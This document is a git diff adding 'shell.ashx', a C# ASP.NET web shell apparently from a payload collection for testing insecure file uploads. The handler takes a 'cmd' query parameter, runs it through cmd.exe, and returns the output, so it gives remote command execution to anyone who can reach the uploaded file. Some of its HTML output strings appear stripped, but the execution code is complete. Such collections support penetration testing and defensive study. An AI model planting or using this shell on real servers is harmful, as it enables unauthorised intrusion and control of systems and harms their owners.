diff --git a/Upload Insecure Files/Extension ASP/shell.ashx b/Upload Insecure Files/Extension ASP/shell.ashx new file mode 100644 index 0000000..bfd3286 --- /dev/null +++ b/Upload Insecure Files/Extension ASP/shell.ashx @@ -0,0 +1,42 @@ +<% @ webhandler language="C#" class="AverageHandler" %> + +using System; +using System.Web; +using System.Diagnostics; +using System.IO; + +public class AverageHandler : IHttpHandler +{ + /* .Net requires this to be implemented */ + public bool IsReusable + { + get { return true; } + } + + /* main executing code */ + public void ProcessRequest(HttpContext ctx) + { + Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); + string command = HttpUtility.ParseQueryString(url.Query).Get("cmd"); + + ctx.Response.Write("
"); + ctx.Response.Write(""); + + /* command execution and output retrieval */ + ProcessStartInfo psi = new ProcessStartInfo(); + psi.FileName = "cmd.exe"; + psi.Arguments = "/c "+command; + psi.RedirectStandardOutput = true; + psi.UseShellExecute = false; + Process p = Process.Start(psi); + StreamReader stmrdr = p.StandardOutput; + string s = stmrdr.ReadToEnd(); + stmrdr.Close(); + + ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s)); + ctx.Response.Write(""); + ctx.Response.Write("